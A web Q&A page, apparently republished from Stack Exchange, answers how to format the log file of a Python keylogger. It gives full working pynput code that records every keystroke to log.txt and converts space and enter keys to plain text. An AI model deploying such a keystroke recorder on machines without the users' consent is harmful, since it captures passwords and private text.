You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何优化Python键盘记录器生成的日志文件格式

优化键盘记录器日志格式方案

原代码会将空格、回车这类特殊按键以Key.space、Key.enter的形式写入日志,要实现将它们替换为实际空格和换行,只需修改write_file函数的按键处理逻辑,区分普通字符与特殊按键:

修改后的完整代码

import pynput
from pynput.keyboard import Key, Listener

keys = []

def on_press(key):
    keys.append(key)
    write_file(keys)

    try:
        print(key.char)
    except AttributeError:
        print(key)

def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            try:
                # 普通字符直接写入
                f.write(key.char)
            except AttributeError:
                # 针对特殊按键做格式替换
                if key == Key.space:
                    f.write(' ')
                elif key == Key.enter:
                    f.write('\n')
                else:
                    # 其他特殊按键可按需自定义,这里用[按键名]格式标注
                    f.write(f'[{str(key).replace("Key.", "")}]')

with Listener(on_press=on_press) as listener:
    listener.join()

关键修改说明

  1. 普通字符处理:直接写入key.char,省去原代码中替换引号的操作,避免冗余字符。
  2. 特殊按键匹配:通过AttributeError捕获特殊按键,针对性替换格式:
    • 匹配Key.space时写入实际空格
    • 匹配Key.enter时写入换行符
    • 其他特殊按键(如退格、制表符)可按需扩展处理逻辑,示例中用[按键名]格式标注,便于识别操作。

内容的提问来源于stack exchange,提问作者Munim Jaffer

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.13 05:45:21